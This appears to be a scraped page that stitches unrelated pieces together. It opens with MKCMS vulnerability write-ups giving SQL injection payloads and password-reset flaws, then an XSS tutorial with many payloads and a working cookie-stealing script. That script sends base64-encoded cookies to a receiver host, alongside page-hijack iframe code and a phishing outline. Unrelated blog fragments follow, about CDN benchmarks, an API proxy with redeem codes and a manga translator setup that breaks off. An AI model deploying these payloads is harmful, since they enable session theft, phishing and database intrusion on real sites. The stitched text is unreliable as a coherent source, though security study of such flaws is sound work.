User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/ucenter/reg.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Connection: close

Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3

Upgrade-Insecure-Requests: 1


name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=

test用户实际不存在
任意用户密码重置
漏洞出现在/ucenter/repass.php第1-44行:

任意用户密码重置
本质上来说此处是一个逻辑问题,程序未通过邮箱等验证是否为用户本身就直接先在第13-14行把用户密码重置为123456了,根本没管邮件发送成功没有。
任意密码重置
此处过滤了单引号,所以无法通过然后邮箱账号进行重置

漏洞修复

1.注册处的注入可像密码找回处一样,过滤一下就OK。
2.找回密码处可修改为如下代码:

<?php

include('../system/inc.php');

if(isset($_SESSION['user_name'])){

header('location:index.php');

};


function randomkeys($length) {

  $pattern = '1234567890abcdefghijklmnopqrstuvwxyz

               ABCDEFGHIJKLOMNOPQRSTUVWXYZ';

    for($i=0;$i<$length;$i++) 

    { 

        $key .= $pattern{mt_rand(0,35)}; 

    } 

    return $key; 

};


$repass = randomkeys(10);


if(isset($_POST['submit'])){

  $username = stripslashes(trim($_POST['name']));

  $email = trim($_POST['email']);

  // 检测用户名是否存在

  $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");


  if(!! $row = mysql_fetch_array($query)){

    if (mysql_query($sql)) {

      $token =$row['u_question'];

      include("emailconfig.php");

      //创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.

      $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true); 

      $smtp->debug = false; 

      $mailType = "HTML"; //信件类型,文本:text;网页:HTML

      $email = $email;  //收件人邮箱

      $emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题

      $emailBody = "亲爱的".$username.":<br/>感谢您在我站注册帐号。<br/>您的初始密码为".$repass."<br/>如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上</p>";


      // sendmail方法

      // 参数1是收件人邮箱

      // 参数2是发件人邮箱

      // 参数3是主题(标题)

      // 参数4是邮件主题(标题)

      // 参数4是邮件内容  参数是内容类型文本:text 网页:HTML

      $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);

      if($rs==true){

        $_data['u_password'] = md5($repass);

        $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';

        echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';

      }else{

        echo "找回密码失败";

      }

    }

  }

}

?>

增加一个生成随机密码的函数,将把新密码更新到数据库的流程放到发送邮件成功后即可。

MKCMS6.2漏洞合集

简介及安装
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

下载地址:链接:https://pan.baidu.com/s/1zJ0zDxLdblkM1DHxMZHr3w
提取码:zkaq

MKCMS6.2漏洞合集
MKCMS6.2漏洞合集环境搭建

漏洞复现

验证码重用
/admin/cms_login.php验证码处的逻辑如下,比较session中的验证码和输入的是否一致,不一致就进入alert_href,这个js跳转,实际是在刷新页面

if(isset($_POST['submit'])){

    if ($_SESSION['verifycode'] != $_POST['verifycode']) {

        alert_href('验证码错误','cms_login.php');

    }

代码审计
跳转后就会刷新验证码,然而我用的是burp,默认是不解析js的

全局搜索这个$_SESSION[‘verifycode’],发现只在/system/verifycode.php有赋值,也就是说,如果使用验证码后,我们不跟随js跳转,就不会重置验证码,验证码也就能被重复使用了。
验证码重用
前台注入:/ucenter/repass.php
历史漏洞中,在/ucenter/repass.php有个越权修改密码的洞(CVE-2019-11332),跟进去发现原来还有注入,以下是分析过程。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

$email = trim($_POST['email']);

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");

前面说到全局对$_POST存在addslash的过滤(加\转义),上面又把参数给stripslashes了(去掉),那么这里就是一个注入了。

注入
前台注入:/ucenter/active.php
/ucenter/active.php?verify=1存在注入

$verify = stripslashes(trim($_GET['verify']));  //去掉了转义用的\

$nowtime = time();

$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");

$row = mysql_fetch_array($query);

sqlmap直接跑即可
sqlmap
sqlmap注入
前台注入:/ucenter/reg.php
/ucenter/reg.php的name参数,存在注入。

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");

任意用户密码找回(密码可被穷举)
这个问题主要是/ucenter/repass.php代码里,找回密码的逻辑有问题,第10行查询到username、 email能对应上之后,14行就直接重置密码了。。。而且密码的范围在12行有写,只有90000种可能,重置之后,burp跑一下就可以了。(当然要结合验证码重用才能有效爆破)
密码重置

备份文件路径可猜解
这个备份功能设置的是非常简单的文件名。/backupdata/mkk.sql
在/admin/cms_backup.php

<?php

$filename="../backupdata/".DATA_NAME.".sql"; //存放路径,默认存放到项目最外层

$fp = fopen($filename,'w');

fputs($fp,$mysql);

fclose($fp);

alert_href('备份成功!','cms_data.php');

?>

全局搜DATA_NAME变量,是安装时候设置的数据库名。
在\install\index_2.php中
备份文件路径可猜解
默认的DATA_NAME值是mkk
在\system\data.php中
备份文件路径可猜解1

MKCMS v7.0 sql注入漏洞

漏洞简介
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。

米酷CMS v7.0.3版本admin/model/admin_edit.php、ucenter/reg.php等文件存在漏洞,攻击者可以利用漏洞进行sql注入攻击。

前台注入漏洞
漏洞分析
在ucenter/reg.php这个文件中,第9行处对$username这个参数进行了查询拼接。
MKCMS v7.0 sql注入漏洞
但是在第7行处,$username的值是来自于POST传递的name参数,当name参数到达reg.php这个文件之后,stripslashes()函数将name的值进行了去除“\”处理。

MKCMS v7.0 sql注入漏洞1
根据include,跳转到/system/library.php中,我们可以发现这里系统对GET、POST等参数进行了addslashes_deep()函数处理,即对参数传递时加上了一个“\”。
MKCMS v7.0 sql注入漏洞2
问题就出在这里,前端用户进行提交的name参数,经过了addslashes_deep()函数处理加上了一个“\”,到达reg.php页面又使用stripslashes()函数将name的值进行了去除“\”处理,这就导致出现了无过滤拼接。

漏洞复现
来到前台漏洞点。http://127.0.0.1/MKCMS7.0/ucenter/reg.php
事先已有admin用户。抓包注册admin用户,提示已存在
MKCMS v7.0 sql注入漏洞复现
在name参数处构造Payload:+and+’1’=’2

MKCMS v7.0 sql注入漏洞复现1
在name参数处构造Payload:+and+’1’=’1

MKCMS v7.0 sql注入漏洞复现2
根据不同的返回值可以说明构造的payload被拼接到数据库进行了判断处理。

后台注入

漏洞分析
在admin/model/admin_edit.php文件中,文件第10行处,系统进行了数据库查询,拼接了两个参数,一个是POST传递的a_name,一个是GET传递的id,可以看出,系统并未对参数在这里做任何的过滤处理。
后台注入
漏洞复现
定位到漏洞点:127.0.0.1/MKCMS7.0/admin/cms_admin_edit.php?id=1
mkcms 后台注入
用单引号测试
mkcms 后台注入1
构造payload:id=1+and+if(1>2,1,sleep(3))。数据库执行了sleep()函数。同样也可以直接丢给sqlmap去注入。

mkcms 后台注入2

XSS漏洞原理

XSS漏洞是一种跨站脚本攻击,攻击者通过构造恶意脚本传入服务器,并且被当成前端脚本执行了。

XSS分类

  1. 反射型XSS

反射型XSS是攻击者将恶意脚本注入到请求参数中,服务器将参数返回给客户端时,脚本从服务器“反射”到客户端并被执行的过程。攻击者通常会诱导用户点击包含恶意脚本的链接,或者在搜索框等地方输入恶意脚本,以便将脚本注入到请求参数中。

  1. 存储型XSS

存储型XSS是攻击者将恶意脚本提交到网站的数据库中,当其他用户浏览到包含恶意脚本的页面时,恶意脚本会从数据库中读取并被执行。攻击者通常会在评论区或者提交表单的地方注入恶意脚本,以便将脚本保存到服务器的数据库中。

  1. DOM型XSS

DOM型XSS是一种特殊的XSS攻击,与前两种攻击不同,它不需要将恶意脚本发送到服务器,而是利用了浏览器的DOM特性,通过修改页面中的DOM节点来执行恶意脚本。攻击者通常会通过诱导用户访问包含恶意脚本的页面来实现攻击。

XSS漏洞的危害

XSS漏洞的危害包括但不限于以下几点:

  • 窃取用户的敏感信息,如cookie、密码等。
  • 盗取用户的账号,进行恶意操作。
  • 修改网页内容,如篡改文章、插入广告等。
  • 伪造用户操作,如模拟用户表单提交等。
  • 向其他用户传播恶意脚本,造成更广泛的危害。

JS代码的调用方式

在前端三件套中,只有javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以在开始进行XSS漏洞检测手法讲解之前,需要先了解一下JS代码他是如何被网页调用并且执行的。

网页调用JS的手法一共有3种:

  • 标签法
  • 事件法
  • 伪协议法

标签法
HTML语言中,不同的标签有着不同的功能,其中就有一个标签用来运行javascript脚本的:

<script></script>
通过这个标签,就可以导入javascript代码。标签法导入js代码,他有两种形式:

  1. 直接在标签对之间写js代码
<script>  
//在标签对之间书写js代码    
alert(1);
</script>
  1. 通过src属性,导入js文件
<script src='target.js'></script>  
// src可以是相对路径,也可以是超链接
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>

在这里需要注意一点,这两种形式只能二选一来使用。

事件法

事件是HTML4的新特性之一,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:

<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg_smile.gif" />
<input type="button" onclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" onclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>    
// 点击 修改 时调用的js代码    
function change(){
          document.getElementById("image").src = "/i/porsche.jpg";    
          }    
          // 点击 还原 时调用的js代码    
          function back(){        
          document.getElementById("image").src = "/i/eg_smile.gif";
            }
            </script>
            <p>原始图像是 eg_smile.gif,但脚本将其更改为 porsche.jpg</p>
      </body>
  </html>

而前端中通常包含非常多的事件类型,感兴趣的可以去看看:

HTML 事件 | 菜鸟教程

协议法

伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。

伪协议的种类非常多,常用的就包括:php伪协议、data伪协议、dict伪协议、gopher伪协议等等。而在触发js代码的伪协议中,重点要说两种:

  • javascript:

    <a href="javascript:alert(1)"></a>
  • data:

    <script src="data:text/javascript;base64,YWxlcnQoMSk="></script>

    通过这两种方式都能触发执行js代码

XSS漏洞挖掘思路

虽然XSS在定义上被分为了3类:反射型、存储行和dom型,但是在探测网站是否存在xss漏洞时,并不需要这样的分类。因为不管是哪一个类别的XSS,如果它存在,那么它在表现上通常是一致的:我们插入的js代码被执行了。

所以我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。

1. 查询字符串

当网站存在搜索或者查询功能时,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞
查询字符串

2. 数据提交表单

表单测试xss相对来说会复杂一些。因为表单会出现两种情况:

  1. 我们提交数据之后,前端会显示我们提交的表单信息。经典案例:

注册信息、留言信息、评论信息、订单提交信息等

  1. 我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:

问卷调查、意见反馈信息等等

对于这两种形式的表单,我们使用的测试方法会有所不同。

对于第一种,我们直接使用正常的测试语句去进行测试就行了:
xss测试
xss漏洞测试
通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。

对于第二种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打

盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。

当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。

XSS盲打实战案例:某网页漫画_xss实战

这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。

3.Cookie、请求头等位置

cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。

我们对Cookie等位置的测试,一般也都是以盲打为主

了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:

1. 标签风格

借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等

<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad>
<iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad>
<!--\x3E<img src=xxx:x onerror=javascript:alert(358)> -->
<script>javascript:alert(356)</script\x0B
<script charset="\x22>javascript:alert(357)</script>

直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
2. 事件风格

通过闭合标签中的属性,实现向标签中插入新的属性或者事件

' onerror=alert(1) \\ " onfocus=alert(1) autofocus=autofocus \\

如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的
3. 伪协议风格:

伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:

<a href="javascript:alert(1)"> testxss</a> [xsstest](javascript:alert(1))

总结:
通过构造一些特殊的xss poc,在可能出现XSS漏洞测试点将这些语句传入网站,我们就能过够相对轻松的探测出XSS漏洞

XSS的利用手法

安全声明:以下内容仅用于技术讨论和学习,请勿用于非法用途

当我们通过之前讲的一系列的探测手法,发现目标网站存在XSS漏洞之后,我们如何借助这些XSS漏洞获得实际有效的漏洞成果呢?特别是对于红队选手,红队的得分点并不在于发现漏洞,而是通过漏洞获得有价值的信息。

所以在这里就需要去讨论XSS漏洞究竟能带来什么样的危害,这些危害是如何去实现的。

XSS中最常见的攻击手段包括一下内容:

  • 窃取用户信息
  • 恶意重定向
  • 篡改网页内容
  • 发起钓鱼攻击

窃取用户信息

js能够在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:

  1. 通过vps搭建一个站点,要求如下:
  1. 任意用户能访问
  2. 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密
  3. 将域名+时间戳作为文件名,保存传递过来的cookie信息
    实现代码如下:
<?    
if(isset($_REQUEST['cookieinfo']) && isset($_REQUEST["url"]) ){        
$info = base64_decode($_REQUEST['cookieinfo']);
   $domain =base64_decode($_REQUEST['url']);
   file_put_contents($domain.time().".txt", $info);
   echo "nice to get this message";    
}else{        
  echo "hello world";    
}
?>
  1. 构建xss攻击语句,要求如下:
  1. 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码
  2. 创建span标签、form标签、iframe标签
  3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签
  4. 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
  5. 设置form提交结果相应到iframe标签中 6. 将span标签添加到 html标签中,并且提交form标签

代码实现如下:

(function(){    
// 获得目标站点的信息    
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","_"));    
// 设置接受信息的站点        
var target_url = "http://192.168.226.1/phpinfo.php";    
// 创建需要使用到的标签    
var html = document.getElementsByTagName('html')[0];    
var span = document.createElement("span");    
var form = document.createElement('form');    
var input1 = document.createElement("input");    
var input2 = document.createElement("input");    
// 设置form标签的基本属性    
form.action = target_url;    
// 设置传递的值域1 :cookie信息    
input1.name = "cookieinfo";    
input1.type = "text";    
input1.setAttribute("value",cookieinfo );    
// 设置传递的值域2 :域名信息    
input2.name = "url";    
input2.type = "text";    
input2.setAttribute("value",url)    
// 将值域填充到form表单中    
form.appendChild(input1);    
form.appendChild(input2);    
// 创建一个iframe,用于接受form表单提交后返回的数据    
var iframe = document.createElement("iframe");    
iframe.name = "_test";    
// 设置form的target,实现隐藏form回显的问题    
form.target = iframe.name;    
// 将form 和 iframe 都填充到 span 中    
span.appendChild(form);    
span.appendChild(iframe);    
// 将 span 标签隐藏    
span.style.display = "none";        
// 然后将表单都填充到html页面中    
html.appendChild(span);    
// 提交表单    
form.submit(); })()

通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台

xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。

所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。

不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:
xss平台

首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)

(如何获取临时邮箱?你猜猜看)

注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。
xss利用
创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成
xss平台创建项目
当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:

xss平台利用方法
然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:

cookie窃取
这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。

恶意重定向

这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。

window.location.href="http://192.168.226.1"

当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。

篡改网页内容

所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。

这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:
xssaq.com
而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:

xss篡改网页
通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:

  1. 通过js将原来的body给删除
  2. 通过js创建一个form表单,然后请求目标地址
  3. 通过js创建一个 iframe 标签,用来接收form表单的返回结果。
  4. 重新生成body,并且将form和iframe插入body标签。将body插入到html标签

在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:

(function(){   var body = document.getElementsByTagName('body')[0];
body.parentNode.removeChild(body);
  var html = document.getElementsByTagName("html")[0];    
  body = document.createElement("body");    
  html.appendChild(body);    
  var iframe = document.createElement("iframe");    
  iframe.name = "_test";    
  var form = document.createElement("form");
  form.action="https://www.anchorubik.com";
  form.method="get";
  form.target = iframe.name;
  body.appendChild(form);
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";    
  form.submit();})()

不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。

然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:
xssaq平台
不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋

(function(){    
var html = document.getElementsByTagName("html")[0];
  html.removeChild(document.getElementsByTagName("body")[0]);
  var body = document.createElement("body");
  body.style.cssText="scrolling:no";
  html.appendChild(body);
  var iframe = document.createElement("iframe");
  iframe.src="https://www.anchorubik.com";
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";
  })()

优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变

xss网页

发起钓鱼攻击

在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?

  1. 通过在自己的vps上模仿搭建目标站点的登录页面。
  2. 在自己的vps中实现以下功能:

    a. 将用户提交的数据转发到原网站
    b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
    c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
    思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。

具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?

我认为有点鸡肋。

XSS漏洞修复建议

  1. 对用户输入进行过滤和转义,可以使用html实体编码或JavaScript转义函数实现。对于不需要包含HTML标签的文本,可以直接使用纯文本方式输出。
  2. 对于需要包含HTML标签的富文本,可以使用专门的富文本编辑器或者Markdown等标记语言,在服务器端对HTML标签进行白名单过滤。
  3. 设置HTTP响应头的Content-Security-Policy,限制页面的资源加载,禁止加载任何非白名单域名下的JavaScript、CSS等资源。
  4. 对于cookie等敏感信息,应设置HttpOnly和Secure属性,禁止通过JavaScript读取或修改cookie的值。
  5. 定期更新相关组件和框架,及时修复已知的漏洞。

之前的网上话题只是让我感到不适,比如男女电梯事件,因为我已离开校园,总感觉离我比较远。但是最近成都的种种劣迹使我感到恐惧,一个普通男性随时随地成为小作文的受害者。一旦被污蔑,轻则颜面扫地,重则身败名裂,家庭破碎,失去工作。即使证明了自己没有违法,她们一句敷衍的道歉就结束了,没有得到任何惩罚。

一个女性污蔑你在偷拍,你不能有任何操作手机的行为,否则会认为你心虚在删照片。即使等到警察到来,检查你的手机,如果你的手机有一些不允许安装的 app ,那么后果将更加严重。

换城市的代价是巨大的,再说国服这个环境到哪都是一样。

当下前端工程化后,大家都把东西塞进 Bundle 了,曾经很重要的“前端静态资源公共 CDN”也似乎即将成为时代的眼泪。然而对于一些写 Demo 之类的需求,它们还是有点用的,再加上目前互联网上对静态资源公共 CDN 的评测文章大多过时,于是我测试并总结了一下。本次测试使用 curl 和 hyperfine 并切换多个代理节点(是的我知道这不精确)。

TLDR: 境外 jsDelivr / UNPKG 任选,境内推荐 npmmirror ,境内外都有需求建议 npmmirror 但不完美。如使用特别流行的库,也可使用 cdnjs 或其他国内 CDN 。

前端公共 CDN 目前大致分两类,一类是 cdnjs 这种需提交审核的,另一类是 jsDelivr 这种镜像 NPM 的。前一类的代表自然是 Cloudflare cdnjs ,或者 Google 的 CDN 。国内此类 CDN 通常以 cdnjs 为上游进行同步。BootCDN 曾经很流行,但曾有多次事故,恐怕用起来还需谨慎。

后一类是本文重点,许多时候我们写的 Demo 所需的库并未被 cdnjs 收录,提交审核又太费时费力,所以我偏好使用直接镜像 NPM 的公共 CDN。

分别是 npmmirror (淘宝 NPM 镜像),饿了么 UNPKG CDN ,UNPKG ,jsDelivr 。我们的测试命令:

testonce(){ ./hyperfine -w 2 -r 10 -p "sleep 1" -u millisecond "curl $1 >/dev/null" ;}
testonce https://registry.npmmirror.com/@fontsource/noto-serif-sc/5.0.3/files/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://npm.elemecdn.com/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://unpkg.com/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://cdn.jsdelivr.net/npm/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2

顺便我在移动 4G 测试 jsDelivr 始终 Reset ,像是个墙中墙。

总结:jsDelivr 曾经是完美的选择,但自从证书吊销事件后在大陆地区的访问就不是很正常; UNPKG 表现一般,至少都能用; npmmirror 在境外也有节点,虽然不如 jsDelivr 那么多,但是均衡的选择;饿了么 CDN 仅适合无境外访问需求的场景。

概述

简单来说,本项目适合两类人群:

  • 自己想搭建 OpenAI 三方代理对外提供付费服务的。
  • 自己有多个渠道的多个 key ,想通过一个接口以负载均衡的方式进行使用的,或者说想分享给身边人但是又不想直接给原始密钥的。

功能

  1. 支持多种 API 访问渠道,欢迎 PR 或提 issue 添加更多渠道:
  2. OpenAI 官方通道(支持配置代理)
  3. Azure OpenAI API
  4. API2D
  5. OhMyGPT
  6. AI Proxy
  7. AI.LS
  8. OpenAI Max
  9. OpenAI-SB
  10. CloseAI
  11. 自定义渠道:例如各种未收录的第三方代理服务
  12. 支持通过负载均衡的方式访问多个渠道。
  13. 支持 stream 模式,可以通过流式传输实现打字机效果。
  14. 支持多机部署,详见此处。
  15. 支持令牌管理,设置令牌的过期时间和使用次数。
  16. 支持兑换码管理,支持批量生成和导出兑换码,可使用兑换码为账户进行充值。
  17. 支持通道管理,批量创建通道。
  18. 支持用户分组以及渠道分组,支持为不同分组设置不同的倍率。
  19. 支持渠道设置模型列表。
  20. 支持查看额度明细。
  21. 支持发布公告,设置充值链接,设置新用户初始额度。
  22. 支持丰富的自定义设置,

    支持自定义系统名称,logo 以及页脚。
    支持自定义首页和关于页面,可以选择使用 HTML & Markdown 代码进行自定义,或者使用一个单独的网页通过 iframe 嵌入。
  23. 支持通过系统访问令牌访问管理 API 。
  24. 支持用户管理,支持多种用户登录注册方式:

    • 邮箱登录注册以及通过邮箱进行密码重置。
    • GitHub 开放授权。
    • 微信公众号授权(需要额外部署 WeChat Server)。
  25. 未来其他大模型开放 API 后,将第一时间支持,并将其封装成同样的 API 访问方式,目前正在做 Google PaLM 的支持。

部署

已打包好 Docker 镜像,一行命令即可部署:执行:

docker run -d --restart always -p 3000:3000 -v /home/ubuntu/data/one-api:/data justsong/one-api

详情请参考项目 README: https://github.com/songquanpeng/one-api

这里不再赘述。

演示

在线演示: https://openai.justsong.cn

送五个充值码让大家简单体验一下:

48f530140cda44fd8e6638296b5b6cbb

0a8fa891290c4e5ba119c469723ea668

52af0695057949aa984ed4d0fed39f32

71950963b2bf4c80bb0f679e8164999e

d13db8d277d24e7a8fd0bfed595d7a29

截图展示:
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富1
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富2

其他

项目地址: https://github.com/songquanpeng/one-api

期待大家的试用反馈!

不用 GPU 搭建一个漫画自动翻译网站

简介

最近因为看《我心里危险的东西》和《放学后失眠的你》然后因为太喜欢了就去看漫画了,后来又一发不可收拾就去追更漫画了。还追了一部没找到熟肉的条漫。条漫是英语还好,我自己虽然只是四级水平的英语能力,但是可以勉强能看懂台词,实在看不懂的可以去直接各个翻译平台就行了。但是日漫还有一些本子来说说,我完全不认识日文,想去平台翻译也不太好翻译。因为漫画不是小说,文字都是图片形式的,自己去做 OCR 识别再去翻译属实是折磨中的折磨。因此我就到处找能用的软件 /平台终于让我找到了这个程序。试用了一下就觉得这就是我要的。

这个项目就是: https://github.com/zyddnys/manga-image-translator

硬件需求

理论上来说还是推荐大家使用 GPU 服务器提供服务,这样速度会更快。还有就是推荐用海外平台。主要是为了方便用一些海外服务商的翻译服务。当然,也可以国内直接搭建,家用电脑也可以。

我们这里用的是

腾讯云的硅谷轻量服务器( 2C2G )

说回项目本身。硬件配置 2C2G 其实是有些低的,但是我也只是需要最小可用即可。因为这是为我自己个人使用而搭建的,没有正式商业化的打算。如果你需要的是商业化或者说开放给大家使用的话那么推荐可以考虑购买活动主场的新老同享区的 GPU 计算型 GN7 服务器,推荐年付。服务器价格只有平时的三折,对于 GPU 服务器来说每月只需 798 还是很划算的。

购买时镜像可以选择 Debian 或者是 linux 宝塔

环境配置

方面主要是 python 环境推荐 3.8 及以上版本。

可以通过python --version进行查看默认版本号。如果遇到提示版本号 2.7 或者提示下图的

python:command not found可以尝试使用

python3 --version

确定 python3 版本符合要求之后我们还需要进行额外的一步操作,让 linux 系统下的默认的 python 命令绑定到 python3 上。

1 、如果你的系统只有 python3:

1.1 首先,确认已安装的 Python3 版本和其安装路径。可以通过以下命令查找 Python3 的安装路径:

which python3
#/usr/bin/python3

1.2 假设 Python3 的路径为 /usr/bin/python3(如果实际路径不同,请将以下步骤中的路径更改为实际路径),你可以运行以下命令将 Python3 添加为系统的可选择 Python 版本:

update-alternatives --install /usr/bin/python python /usr/bin/python3 1

